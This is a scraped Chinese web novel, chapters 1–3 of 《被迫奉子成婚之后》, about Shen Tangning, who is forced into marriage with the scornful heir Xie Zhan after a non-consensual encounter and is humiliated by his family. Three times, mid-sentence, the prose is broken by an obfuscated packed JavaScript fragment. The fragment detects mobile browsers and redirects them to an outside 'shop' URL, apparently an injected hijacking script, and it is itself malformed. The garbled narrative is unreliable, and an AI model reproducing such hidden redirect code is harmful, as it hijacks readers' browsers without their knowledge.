《被迫奉子成婚之后》 1. 第 1 章 绿釉狻猊博山炉中香雾冉冉升着。 房中密不透风,茜红绣鸳鸯的床帐低垂轻曼,烟香甜腻。 架子床上双影交叠,衣衫散乱,钗横被翻。 整个人仿佛置身火炉之中。 热,好热。 心口燥热难耐,喘不上气,似有把火正从身体里,由里而外熊熊烈燃。 汗出如浆,浑身黏腻,仿佛是什么终于要破土而出。 “不……” 沈棠宁娥眉颦蹙,忍不住紧紧抓住身下锦被,樱粉的唇动了动,呜咽出声。 那人若有所感地顿住。喷洒着酒气的粗重鼻息在她面上停留了一瞬,似在打量什么。 香肌如雪,汗湿的发丝一缕缕黏在她红润的面庞上,随着她急促的呼吸,凌乱的衣衫下少女柔美的曲线若隐若现,呼之欲出。 这无疑是个极美的女人。 沈棠宁从微微透入眼睛的光线里,隐约看见一张陌生的男人面孔。看不清他的脸,只能看到一双狭长的凤眼,幽黑的瞳仁冷而灼烫地与她对视着。 她不安地挣扎起来,沙哑的喉咙中却仿佛失声般,难以挤出一声破碎的呼救。 疾风骤雨倏地倾盆而下,她仰着头,突然难以自抑地哭出了声来。 而后,失去了意识。 海浪一波波地侵袭着、拍打着, 又是那种熟悉的,溺水濒临窒息的感觉。 惊慌失措中,她抓住了一根救命的浮木,可下一刻,那浮木竟化作了一双壮硕的男人铁臂,将她死死地箍在了怀里。 她吓坏了,拼命地想要挣开逃生,冰冷的潮水又很快漫过她的头顶,将她彻底打落海底。 …… “你这样的身份,只配做我的妾。” 房内没有点灯,幽暗的光影照着床上少女一张满是泪痕的香腮。 她乌发凌乱,雪白的身子青一块紫一块,蜷缩在被子里,望向床边那个正在穿衣的男人。 “可我已经是你的人了……” 她颤声。 “想给我做妾的女人,多得是。” 下巴陡然被人捏起,他居高临下,轻蔑而赤裸的打量,令她几乎羞愤欲死。 那张年轻英俊的脸庞上,更是一字字吐出她这辈子都未曾听过的,无比刻薄冷酷的话语。 “可像你这样不知廉耻的,我还是第一次见!” 她脸色登时煞白,瞪大双眸摇头。 “不!不是我……我没有勾引你!” “你还狡辩!呸,你这专勾男人的狐狸精!怕是忘了自己还与有我儿婚约,你当真不要脸!” 萧老夫人在她脸上打了一掌,接着,有人将她推搡于地上。 谢家人指着她窃窃私语,“这水性杨花的女子,未出阁便与男人私通,珠胎暗结,那身子还不晓得被多少男人沾过!谁知道她这腹中的孩子是不是我们谢家的种!” 下一瞬,叔母郭氏将她从地上拽起来,指着她大声叱骂:“不争气的东西,这些年我供你吃供你穿,你竟大着肚子都爬不进镇国公府的门,我要你何用!早晚有一天我把你和你那瞎眼的娘都赶出沈家的家门!” “不,不——” 蓦地,窗外一声鸡鸣起,沈棠宁从梦魇中惊醒过来。 天边,东方既白,霜白的天色中一丝熹微刺破天际。 镇国公府中披红挂绿,寒冬腊月里竟花彩缤纷,碗口大的牡丹、粉菊围着园子回廊铺了遍地。 一大清早,寒气尚浓,府中小厮仆妇们皆着新袄新衣忙活起来,却个个来回行色匆匆,噤若寒蝉,面上不见喜色。 静思院中,新妇已坐在镜台前。 梳头的丫鬟是镇国公夫人王氏院中的丫鬟,今日被她的主母特意打发来为新妇梳妆,新妇姓沈,出身平宁侯府,听闻未出阁前乃公认的京都第一美人。 便是名声不大好,但凡是见过她的人无不感叹她容有殊色,冠绝京华。 丫鬟很是好奇,这京都城是何等的富贵繁华,天子脚下,光是后宫佳丽三千人,美人更是数不胜数,一人眼里一个美法,这新妇究竟该美成什么样,能被众人公认为京都第一美人? 趁着梳头的间隙,她便按捺不住好奇频频向那菱镜中望去。 可惜铜镜模糊,新妇似乎亦是心事重重,蹙眉低眼,只能看到她两道细浅的弯眉微微颦蹙着,长睫乌浓,眉眼间似有忧郁之色。 “奴婢帮世子夫人簪根金钗。”丫鬟恭声说。 “不必过于华丽,素净些就好。”另一边沈氏陪嫁的丫鬟提醒道。 梳头丫鬟在妆奁中寻摸到支如意双喜蝙蝠玉凤头,扭头时终于找到机会将视线扫向了新妇。 只这一眼,她便像被什么劈中一般瞪大双目,愣愣地呆在了原地。 新妇的样貌,的确用不上过于华丽繁复的头面钗饰…… 窗外柔和明晰的光落在新妇瓷白的面容上——那张脸似乎过于苍白,却奇异地另有一种血气不足的柔弱之美,她缓缓抬起眼睫望向她,“咣当”一声,丫鬟手中的金钗跌落在地上,发出刺耳的鸣响。 丫鬟回神,慌忙拾起地上的金钗跪下道:“世子夫人饶命,奴婢不是有意的!” “无妨,起来罢。” 片刻后,响起一道低柔清润的声线,这声音听着便叫人心尖一酥,很是悦耳,只透着股中气不足,暗暗印证了丫鬟的猜想。 这位世子夫人,身子不是很康健。 一只手落在她的腕间,将丫鬟虚虚扶起,丫鬟摸不透新妇的脾性,连忙站起来,立在一旁唯唯应是。 她知道这世间的美人脾气都是有些差的,譬如世子那位前未婚妻永宜县主。 新妇却好像并没有计较她冒失的打算,让她继续梳头绾发。 丫鬟一面梳头,一面忍不住又偷偷打量起了新妇美丽的脸庞,察觉到她眉眼间亦有疲倦之色,大约是昨夜没有睡好。 紧接着又朝新妇的小腹瞥去。 海棠红缠枝石榴花的袄裙下裹着一把盈盈的腰肢,才三个多月,尚未显怀。 世子夫人与世子是奉子成婚。 本朝对女子的名节虽没前朝那么多的束缚,但这未婚女子婚前便与男子私通,以至珠胎暗结不得不成婚一事到底为时人所不齿,放在何处都是供人茶余饭后的消遣谈资。 何况是对于谢家这般注重名声门第的世家大族而言,自前朝上溯几代起,陈郡谢氏便是钟鸣鼎食的门阀贵族,本朝自开国以来,贵族势力衰微,谢家却也是人才辈出,兴盛不衰。 如今的谢家家主镇国公谢璁与今上隆德帝从少年时便交好,有从龙之功,谢璁嫡亲的姐姐孝懿谢皇后更是隆德帝的元后,帝后鹣鲽情深,自孝懿皇后三年前过世后至今隆德帝后宫依旧后位空悬。 世子谢瞻年少丧母,是姑姑孝懿皇后最疼爱的侄儿,与永宜县主常令瑶的婚事便是由孝懿皇后在世时亲自为侄儿择定的。 谢瞻年纪虽轻,却久历战场,战功赫赫,他不光生得英武俊美,更文武兼备,骁勇善战,尤其善骑射,能于万人之中取敌军性命,漠北的契人皆闻谢瞻丧胆。 永宜县主身为当朝首辅常俭的孙女,品貌俱佳,因时常出入后宫,深受孝懿皇后喜爱。 谢瞻每当回京都述职之时,无论走到哪里背后都有永宜县主的身影,两人是一对难得的璧人。 原本谢常两家预备等到半年后永宜县主及笄后便成婚,谁知三个多月前在东宫中,太子长子的周岁寿宴上,谢瞻与那平宁侯的侄女沈家大小姐在酒后误入同一间更衣室。 不久之后那沈大小姐便有了身孕,沈氏的叔母平宁侯夫人郭氏为了攀高枝,此后几次三番地带着大夫找上门来,逼迫镇国公府退婚常氏娶她侄女,否则便要让谢家永无宁日。 谢瞻与永宜县主的婚事是孝懿皇后三年前定下的,郭氏张口便要她侄女为妻,谢氏得知此事之人无不憎恶这贪得无厌的妇人。 何况谢氏门第向来只与贵族联姻,岂能看得起早已破落的平宁侯府,主母王氏坚持若要沈氏进门,只能为妾。 便是叫沈氏为妾先于永宜县主进门,也是抬举她了。 如此这般僵持了快要一个月,眼看着再不定亲侄女腹中的孩子都要藏不住了,这郭氏竟一不做二不休,无耻地将侄女已有身孕、镇国公世子始乱终弃的流言公诸于众! 永宜县主的祖父常俭常首辅乃两朝阁老,常家书香门第,看重名声,丑事宣扬出去之后,常首辅亲自来到谢家交涉,不久后谢家便主动与常家退了婚。 那厢沈家大小姐原先的未婚夫家,忠毅侯府萧家也与沈家大闹一场退了亲事,闹得很是不好看。 双方退婚后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409409|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谢家才仓促去了沈家下聘,三媒六聘没必要的步骤都省了,满打满算不过月余。 平宁侯夫人郭氏当初使尽了手段,在镇国公府胡搅蛮缠,甚至不惜毁坏侄女名节才叫她嫁进来,梳头丫鬟心道可惜,这样的一个美人,怎么看也不像是那种为攀权贵不择手段的女人。 只是强嫁进来又如何呢,世子有不喜欢,从提亲到请期,从头到尾他都未曾去过沈家,这样的一段婚姻,不过是为了腹中孩子勉强罢了。 待梳妆更衣完毕,众人退下,只留下锦书和韶音两个大丫鬟伺候在沈棠宁的身边。 锦书询问道:“世子夫人,趁着时辰还早,我们不如把世子请过来一道用膳?” 沈棠宁想到昨夜那人离去的一张冷脸,沉默片刻,点了点头,轻声对锦书道:“你亲自去吧。” 沈棠宁有孕,昨夜两人也不可能同房,新房布置在谢瞻常住的静思院里,昨夜从新房离开后,谢瞻便睡在了书房一夜未归。 锦书去了书房,约莫一盏茶的功夫就回来了。 “世子不在,小厮说他绝早便出去了,连早膳都没用!” 新婚第二日一早,按规矩新妇需得敬茶认亲,谢瞻连踏足沈家都觉晦气,又怎会去迁就她呢。 沈棠宁有自知之明。 她知道谢瞻并不愿娶她,他是世人眼中的天之骄子,本应娶青梅竹马的心上人,如今却为了孩子不得不妥协,娶了她一个声名狼藉的女人。 这场婚姻,从一开始便是由她的叔母算计得来。 只是,即便她未曾打算在谢家常住,孩子总要姓谢。 为了孩子,他再厌恶她,她也不能由他如昨夜那般去践踏她的颜面。 沈棠宁放下碗筷,去了书房亲自请他。 书房,是谢瞻的两名小厮长忠与安成在候着。 安成管家,他见了沈棠宁说道:“世子夫人,适才小人去寻世子了,世子有些急事,不如您先在房中略坐会儿?” 其实一早谢瞻就换上官服走了,两个小厮自然提醒,奈何主子恍若未闻,新妇新婚第二日一早有敬茶礼,谢瞻不该会不知道。 何况婚前朝中还放了他三日婚假,莫非是宫里出了什么急事? 这般一个等,一个寻,去寻谢瞻的小厮四下寻不到人,而那厢国公夫人王氏的如意馆中,谢家各房的兄弟姊妹、妯娌亲戚已是差不多三两到齐。 “世子该不会是已经去了吧?” 锦书看向窗外,连一向稳重的她面上都露出了焦灼之色。 韶音更是气得忍不住叫嚷道:“他怎能这样!大冷的天,丢下我们姑娘一人大着肚子在这里等他!” “韶音!” 沈棠宁低声轻斥韶音。 院子里的丫鬟和小厮闻言却都纷纷伸长脖子,有的往外面瞧,有的往屋里看。 看什么,不过是看沈棠宁的笑话罢了。 韶音气得直跺脚,又是委屈又是难过。 人人都道嫁进镇国公府是便宜了平宁侯府,可哪个晓得她们姑娘本与忠毅侯萧砚两情相悦,忠毅侯对她们姑娘更是情深意重,一片痴心,为了娶她甚至不惜与他的母亲萧老夫人抗争,就连得知他们姑娘怀了身子,都不顾萧老夫人的阻拦找到姑娘表示愿意继续娶她。 眼看姑娘就快要嫁进萧家,这才是一桩大好的姻缘佳偶,如今全被那镇国公世子给毁了! 等不到谢瞻,敬茶的时辰要到了,不能再耽搁,或许谢瞻已去了也不一定,沈棠宁起身去往如意馆。 出门后,恰巧王氏身旁的秦嬷嬷迎面过来接她。 待一行人到如意馆时,高堂之上已是座无虚席,个个翘首望向门外的新婚夫妇。 不过,来的只有沈棠宁一人。 谢瞻,他果真没来。 沈棠宁的目光在屋内扫过,心猛然坠了下去。 众人的议论声先是低下去,旋又渐渐高涨了起来。 这都什么时辰了,世子,他该不会连敬茶都不来吧? 谢瞻年少离家,性情素来傲慢自负,目中无人,这倒像是他能干出来的事。 若他不来,这岂不是意味着他不肯在父母兄弟与谢家的亲戚面前认下沈氏这个妻子,那可真是给了新妇好大一个没脸! 一时之间,所有人的目光都汇集在了这位美貌新妇的身上。 2. 第 2 章 这些目光沈棠宁都很熟悉。 有鄙夷的,幸灾乐祸的,看热闹的,好奇的,惊艳的…… 或许还有同情的。 从小到大,她就不是一个受欢迎的女孩儿,不论去往何处宴席,总有人指着她在背后议论纷纷。 她知道,她与谢瞻,沈家与谢家,云泥之别。 她是卑贱的泥,她配不上谢瞻,是沈家要挟他娶了她,他深恶她、讨厌她。 所以即使他不肯在父母长辈面前认下她,她也丝毫不会感到惊讶。 只是往后,她在谢家的这段日子会很难过。 镇国公谢璁与国公夫人王氏一左一右坐于高堂之上,谢璁面色铁青,隐有怒色,不知是因为她这个不堪入眼的儿媳,还是因为儿子谢瞻缺席的缘故。 王氏看向回到她身边的秦嬷嬷,秦嬷嬷冲她摇了摇头,那意思是世子也不在书房中。 王氏眼中闪过一抹无奈。 “好了,新妇已到了,聒噪吵嚷的成何体统!” 王氏喝声一出,众人都安静了下来。 王氏接着看向沈棠宁。 昨日大婚,新妇子难免浓妆艳抹,今日褪下盛装,那娇滴滴的海棠红色妆花褙子衬得她雪肤花容,如一支凝露牡丹娇艳欲滴,站在谢家这济济一堂的芝兰玉树中竟也不输分毫,光彩溢目,照应左右。 若说唯一的缺点,大约便是沈棠宁纤纤弱质,人过于弱不禁风了些,看上去似乎有不足之症。 若要健康安稳地生下腹中孩子,只怕还得精心调养一番才是。 王氏心里百转千回,招呼沈棠宁坐到了她的手下,微笑着向她,也是向众人解释道:“阿瞻一早衙中有事,不得不出去了,他马上就回,大家略等等他吧,也不差这一时半刻。” 都放婚假了还能有什么事,就谢瞻的身份,便是真有事属官也不可能来麻烦他,无非是他自己不愿陪沈氏敬茶罢了。 众人心知肚明,面上笑着打哈哈。 谢家这一脉有六房,唯有嫡出的长房、三房与四房常住京中,其余三房皆为庶出,分散在老家陈郡等地。 六房人口鼎盛,同气连枝,众人皆奉谢璁与王氏为主,平日里很是恭敬尊重。 是以大家都心照不宣,纵使再瞧不起沈棠宁的出身和平宁侯府的手段,还得给王氏几分薄面,毕竟是大喜的日子么,纷纷开始闲聊,恭维王氏,以及赞美谢瞻和沈棠宁。 从辰时一直等到巳时,整整一个时辰,连个谢瞻的影子都看不到,大家不由等到有些烦躁了,断定谢瞻不会再来。 沈棠宁甚至能听到身后妇人们对她的议论,有人也不知是嘲讽还是羡慕地,小声议论说:“一箭就上跺,我嫁进来都半年了还没怀上……萧家家世门第都算她高攀了吧,她怎么就这般走运?” 另一人冷哼着道:“人家可是京都第一美人,男人们都看脸的,哪管你肚里有没有货,你怎不跟她比脸?” “比脸,呵呵,比脸皮我是比不过她!” 沈棠宁衣袖下的指甲深深陷进肉里。 在王氏看向她问话的时候,脸上却还要努力地挤出一丝笑回应。 家里的男人们大多有职务在身,不宜让他们久等,王氏叫人悄悄催了几回,眼看谢璁气得已是连茶都喝不进去了,王氏只能道:“罢了,这孩子一向公务繁忙,便不等他了,阿沈先来敬茶吧。” 沈棠宁由左右搀扶着跪到高堂之下的软垫上,先向谢璁磕头递茶,随后奉上自己亲手所制的贽礼。 “公爹。” 谢璁看着脚下儿媳美丽柔顺的脸,脸色稍缓,“快起来吧。” 沈棠宁再跪倒在王氏面前。 丫鬟递来茶盏,掌心触碰到盏底的那一刻,她毫无防备,被滚烫的盏底烫得双手蓦地一颤,险些打翻茶水。 身后的人群中发出一声女子的轻笑。 沈棠宁强忍住想要缩手的冲动,稳稳当当地将茶盏捧到王氏手里。 “礼成了,从今往后,你便是我谢家的媳妇。” 王氏亲手递给沈棠宁两套封红,谆谆嘱咐她道:“望你日后勤俭持家,贤良淑德,与夫君永结同心。” 沈棠宁低头做羞涩状,柔声应是。 敬完舅姑,接下来便是认人了。 沈棠宁捧着茶起身,莲步微移,由在秦嬷嬷陪在身边,路过哪一房,哪一房的主母向她介绍房中老小。 谢氏家族庞大,单说今日在这高堂之中,每房男女老少来人少则五六,多则十数个,想在短时间之内认清很是不易,认完一圈下来,沈棠宁额头上都出了一层细汗。 敬完茶,众人便各自散了。 王氏顾念沈棠宁怀着身子,看着已到晌午,便邀沈棠宁留下来一道用了午膳。 从如意馆出来时,日头高高挂着。 “姑娘……” 锦书和韶音两个大丫鬟都眼巴巴地看着沈棠宁苍白的脸色,两人心疼地想安慰,可话到嘴边却又不知说些什么好。 没有可以依仗的娘家,又得不到夫君的尊重,从今往后,她们可怜的姑娘该如何在镇国公府立足啊…… 寒风拂于面上,吹动松墙旁一排琼花瑶草,袭来淡淡幽香。 沈棠宁一路静静看着。 许是因为这些都是意料之中会发生的事,其实她心中除了难堪以外,并没有多大的起伏。 若说唯一失望的两个人,可能便是她的叔父沈弘谦和叔母郭氏。 她怀着身子,王氏应当也不会让她出来应付亲戚客人,日后她深居简出,日子应当不会太难过。 何况,她接下来留在谢家的日子,至多还有半年了。 凡事总要往好处想。 沈棠宁轻轻吐出一口气,微笑,“别担心,我只是有些累了,想歇一歇,咱们快些回去吧。” …… “二嫂,二嫂!” 主仆三人走到一处幽僻的小径上,忽听身后传来一道陌生的男子叫喊。 沈棠宁转身时,恰有一阵风沙迎过迷入眼中,沈棠宁揉了揉眼睛,眼圈便有些发红了,抬起头时,一个身着天青色圆领长袍的少年男子已气喘吁吁地站到了她的面前。 沈棠宁仔细辨认。 “七叔?”她迟疑着道。 她的声音如她的人一般清润宛转,近看来,一双杏眼乌浓似水,雪白的面孔上竟无丝毫的瑕疵,比远看愈发精致美丽了。 没想到她才刚刚见了他一面,便能记住他是谁,少年脸腾得就烧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409410|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,不敢再多看,低头磕巴了下道:“原来嫂嫂还认得我,这,这是你的帕子吧?适才我,我在地上捡的。” 窘迫地递给沈棠宁一方叠得方整的白绫帕。 锦书赶紧接过帕子,打开一看,帕子上绣着一簇娇艳的海棠花,确是沈棠宁的帕子。 “大约是被风吹了,如此,便多谢七叔了。” 沈棠宁福身。 谢七郎忙侧身不受,说道:“嫂嫂还怀着身子,不必虚礼!” 说话间他还是忍不住偷偷打量起了沈棠宁。 谢七郎谢睿是四房嫡子,谢瞻的七弟,年纪只比沈棠宁小几个月。 沈棠宁还在闺中时谢睿便听闻过她的美名,传闻她容颜色如海棠,盛若牡丹,京都无人出其左右,可惜他一直没有机会得见芳容。 昨日谢瞻大婚,谢氏几个兄弟说谢瞻要娶京都第一美人了,纷纷摩拳擦掌地要去闹洞房,谢睿担心二哥不喜,便按着好奇只隔了人群远远地看过去一眼。 那夜,果然见新房中的新妇容光璀粲,气若幽兰,恍若宓妃仙子,只是盛妆之下的眼神里却是掩不住的忧郁哀伤,不仅不令人扫兴,反而让他情不自禁对她生出了怜惜、好奇之情。 谢睿这人也是有几分呆的,他看着自己的嫂嫂,居然就这么看忘了时辰,连兄弟们闹完何时走的都不知道,最后被二哥谢瞻一脚踢出了新房。 今日一早谢瞻还公然不与她一道敬茶,摆明了是给她难堪,她嫁进来时便被人指指点点,现在心里一定委屈极了吧,连眼圈都是红的。 昨夜闹完洞房兄弟几个背着谢瞻私下里议论,感叹美人美则美矣,可惜有个水性杨花之名,恐怕日后是个寡廉鲜耻,不肯安守妇道的。 谢睿却有种强烈的直觉,她不是旁人口中说的那样的女子,因为刚刚她敬茶时一颦一笑是多么地端庄知礼,丝毫不轻浮,或许她就是被郭氏所逼迫的,否则新婚那夜她一定会欢欢喜喜地嫁进镇国公府的大门。 谢睿说道:“二嫂你别难过!我二哥那人就那样,他脾气差,目下无尘,连我大伯都管不了他,你若是平白被他伤了心就不值得了!” 沈棠宁微诧。她记得她与谢七郎先前仿佛是素昧平生,并不相识,但他竟然肯在她最难堪的时候来安慰她、为她说话。 她不由抬起了头,望向谢睿。 …… 安成站在假山上,探出头去又仔细地确认了一遍,才转过身来对自家主子道:“爷,我没看错,那确实是世子夫人和七爷,就是听不到两人在说什么!” 话音刚落,便听谢睿不忿的低语声从山下传来,“……他脾气差,目下无尘,连我大伯都管不了他,你若是被他伤了心就不值得了!” 安成顿时唬了一跳,心想这七爷怎么在背后这样妄议兄长,还是当着嫂子的面! 谢瞻面无表情,视线向山下扫去。 只见不远处鲜花遍地,一排劲松苍翠矗立,而借着松墙遮掩,一对少年男女正立于墙下的幽径之上,男子面红耳赤,女子眼噙粉泪,两人脉脉对视,不知在言语什么了。 安成觑着主子的面色,“爷,许是您上午没去敬茶,七爷对您有些小误会,您别放在心……” 话还没说完,谢瞻转身走了。 3. 第 3 章 如意馆,王氏正在侍弄刚满三岁的小儿子十二郎,得知谢瞻回府后,立即打发人去把他叫了过来。 “今天一早你去哪儿了,我让人去催了你多少回,你怎么就是不肯回来?” “军营里有急事,我现在不是回来了。”谢瞻回着,姿态随意地坐到了一张玫瑰椅上。 “天大的事也不该就这么一走了之!才新婚第一日,你这样做让新妇情何以堪,让其他各房怎么想大房?” 王氏责备他。 谢瞻嗤了一声,“又不是我把刀架她脖子上,逼她嫁进来的。” “孩子总归是你的吧?” 谢瞻不语,眼中闪过一抹深深的嫌恶。 王氏将小十二郎交给乳母抱走,叹道:“阿瞻,我晓得她不是你中意的女子,但如今事已至此,唯有将错就错。这两日我冷眼瞧着,她性情也并非郭氏那等蛮横无礼的妇人,便是有不足之处,日后也可慢慢改,可你在新婚第一日就当众落她的颜面,日后她在谢家将举步维艰。” 当然,谢瞻不会在乎沈棠宁过得舒心与否。 只是王氏觉得毕竟是一家人了,不愿意闹得这样不愉快,便又道:“你今日轻慢她,明日旁人便会轻慢她腹中的孩子,这个孩子毕竟是你的第一个孩子,是长房嫡长孙,不论你们夫妻二人如何,孩子却是无辜的……” 王氏点到即止,最后道:“今晚新妇宴,你会来的吧,阿瞻?” 本朝风俗,新妇嫁到夫家第一日早晨有敬茶礼,而晚上则会有新妇宴,新妇需亲自洗手作羹汤服侍夫婿与婆家人,届时一家人都会到场。 沈棠宁有了身孕,自然不必她来下厨操劳,但若是今晚谢瞻能来,或许还能为沈棠宁挽回几分颜面。 秦嬷嬷望着谢瞻离去的背影,低声道:“也不知道,世子今晚会不会去?” “他会的。” 王氏说道。 - 沈棠宁住着谢瞻的静思院,谢瞻白天一整天都不着家,锦书和韶音起先还紧张地隔三差五地去打听打听姑爷何时回来。 后来一气之下懒得再去问,诅咒他有种就住在外面永远别回来住。 两人都劝沈棠宁借不舒服推了今晚的新妇宴。 “去了也不过是自取其辱,去伺候那些势利眼做什么!”韶音不赞同道。 锦书跟着附和,“姑娘体弱,身子又重,我看夫人不会为难您的。” “我看就是她为难的姑娘!”韶音恨恨道:“今早的热茶,难道不是她故意倒来欺负姑娘的?那茶盏盏底滚烫,她拿着那盏身就一点事没有,看看把我们姑娘的手心都烫成什么样了,虚伪!” 沈棠宁的手心早晨回来后确实被烫起了好几个燎泡,韶音边上药边心疼地掉眼泪。 沈棠宁知道两人都是为了她好,确然,对她来说,推拒了今晚的新妇宴是最妥帖的做法。 可是,不去,日后便不会被讥讽奚落,便能被人瞧得起吗? 谢家看轻她,是因她婚前有孕,不合礼法,叔母郭氏又费尽心机将她塞进谢家,被人称作不择手段。 她已失了名声,便不能再失礼数。 沈棠宁垂下长长的睫毛,看着尚且平坦的小腹。 她还是要去的。 …… 傍晚,暮色四合,瑰霞漫天,镇国公府的上房之中却是喧阗非常。 偌大的大堂之中,左侧是男人的席位,中间用大扇屏风隔断,女眷们簇拥着王氏坐于另一侧的主位,纷纷争相逗趣夸王氏的小儿子十二郎多么聪慧可爱。 只在沈棠宁进门之后,众人的说笑声忽地都压低了下来。 沈棠宁换了一身衣裳,粉衣绿裙,她生得娇艳娟秀,纤细高挑,身上便是随便披个麻袋都衬得十分好看。 不过有女眷认出来,她身上的这套衣服料子还是前几年时兴过了的织金缎,就连发上簪的钗子花式都十分老旧了,眼光中不由就带上了几分鄙夷。 虽说落魄了,好歹也是侯府出身的大家闺秀,怎的成婚了就连套珍贵的头面和身好的衣服料子都置办不起? 沈棠宁缓步走到王氏面前,给诸位夫人姑娘见礼,再从锦书手中端来只漆金攒盒,捧出盒中尚热乎的红绫饼与甜果子。 “这是儿妇亲手做的,请母亲,诸位婶婶与姑娘们品尝。” 众人分着尝了几口,入口果真绵软甜香,王氏笑道:“辛苦你了,你怀着身子,这些原不该你做的,快坐下歇着吧。” “还不知道是不是她自己做的呢。”有人嘀咕道。 王氏扭头瞪向那人,“住口,就你多嘴!” 谢嘉妤冷哼一声,扔了手中的甜果子,一副不稀罕的模样,和身旁的其它姊妹说话去了。 王氏对沈棠宁道:“她被我宠坏了,就这个德性,你别理她。” 沈棠宁却谦卑地道:“母亲别怪四姑娘,说来惭愧,烹制这些果子也的确不是儿妇一人之力,多亏了几位嬷嬷们帮忙。” 她轻言细语地说完,又为王氏亲自捧上倒好的茶水。 王氏多看了沈棠宁一眼。 长房一脉中,镇国公谢璁膝下至今共有三子一女,嫡出的谢瞻与谢十二郎,以及庶出的谢九郎。 谢嘉妤是谢瞻的四妹,也是谢璁唯一的女儿,从小自然是千娇百宠,金尊玉贵地教养着,是以也只有她敢直接当着王氏的面讥讽讨厌的沈棠宁。 一般新妇进门,大多是象征性在膳房里忙活着做两道菜,沈棠宁不光亲自下厨做了所有人份数的红绫饼和甜果子,还烧了一菜一汤,大家面上夸她心灵手巧,实际上心里都认为她是得不到世子的宠爱,才转而开始讨好王氏,谄媚逢迎。 其实王氏并非是谢瞻的生母,而是他的姨母。 十三年前,谢瞻的生母王大娘子在回王氏的老家琅琊探亲时不幸罹患急病去了,王谢两家本是政治联姻,谢璁与王大娘子虽无夫妻之情,但两家势力盘根错节,早已密不可分。 为了继续维系两大家族的往来,亦为了照顾彼时只有八岁的外甥谢瞻,保他世子之位不被外人夺走,王氏自愿放弃原先定好的婚事,嫁进镇国公府做了谢璁的填房。 十几年来,王氏对谢瞻视如己出,谢嘉妤是她养在膝下的庶女,就连小儿子十二郎,亦是在谢瞻立下赫赫战功,世子之位稳如磐石之后才生下的。 谢瞻与谢璁父子俩关系不和早已是人尽皆知的事,谢瞻在府里连这个亲爹都不会放进眼中,却唯独对王氏百般孝顺敬重,从前他每年从边关回来,回府后第一件事便是去王氏的如意馆给她请安。 沈棠宁讨好王氏,算是找对了人。 谢瞻来了,他几乎是最后一个到的。 女眷的宴席设在里屋,男人们则聚在明间,谢瞻来后,明间先是静了片刻,随后谢璁威严的斥责声响了起来。 “一早你又去了何处了?新妇敬茶你吊儿郎当不当回事,晚上的宴席也是最后一个到,你如今都当爹了,怎么还像从前一样目中无人!” “你也是当爹的,从前便不见你管我,今日你对我摆什么架子!”谢瞻冷冷道。 谢璁被噎得说不出话,指着他,“你,你——” 叔侄兄弟们忙纷纷劝他消气。 里屋,女人们却是见怪不怪,继续说笑。 只有王氏,在没人看见的时候,悄悄叹了口气。 沈棠宁收回目光。 少顷,丫鬟们陆续上菜。 沈棠宁坐在王氏下手的位置,正处于屏风的隔断处,抬眼恰好能看见对面宴席中,谢瞻坐在她的对面。 仿佛是察觉到了她的视线,他的目光忽而迅速向她扫来。 四目相对,沈棠宁避无可避,一怔。片刻,她仍是扬起嘴角,冲他露出了一抹微笑。 比起新婚之夜的艳丽,今夜她穿得颇为素净,淡粉色的藕丝对襟衿衫,娇绿金丝镶边裙,鬓边垂着一支点翠垂珠金步摇,笑时明眸皓齿,杏眼柔媚似水。 谢瞻目光停驻片刻。 他也对沈棠宁笑了下,笑容中却有种毫不掩饰的,带着恶意的轻蔑与讥讽。 沈棠宁脸色一白。 她慢慢垂下了头去,其后,未再抬起头。 …… 谢瞻是长房嫡子,也是整个谢家最有出息的子弟。 因了隆德帝与孝懿皇后的关系,他十四岁从军时,便已是名震关内外的三镇节度使耿忠慎麾下的一名左郎将。 在耿忠慎死后,他又逐渐接手了耿忠慎的职务,七年来多次征战抵御契族与各夷狄部落,几乎战无不胜,沙场之上更是时常身先士卒,悍勇异常,因此深得隆德帝的喜爱。 谢瞻常年住在边关,偶尔逢年过节才回家述职一次。 孝懿皇后为他定下亲事后不久便薨逝了,半年前战事停歇,谢瞻回京筹备自己的婚事,隆德帝便直接将他留在了京中,在禁军三大营之首的五军营中担任都指挥使。 三大营几十年前由成祖皇帝所创立,五军营中的士兵皆为各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409411|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抽调出来的精锐之师,与锦衣卫一样直接隶属皇帝,只听皇帝调遣,战斗力强盛,而谢瞻少年封将,意气风发,更乃其中佼佼者。 他虽是武将,却生得英武伟硕,俊美如芝兰玉树。 每回谢瞻回京述职,城中夹道两侧,以及附近的酒楼上都挤满了来看他的姑娘与妇人们,香囊荷包扔了一地。 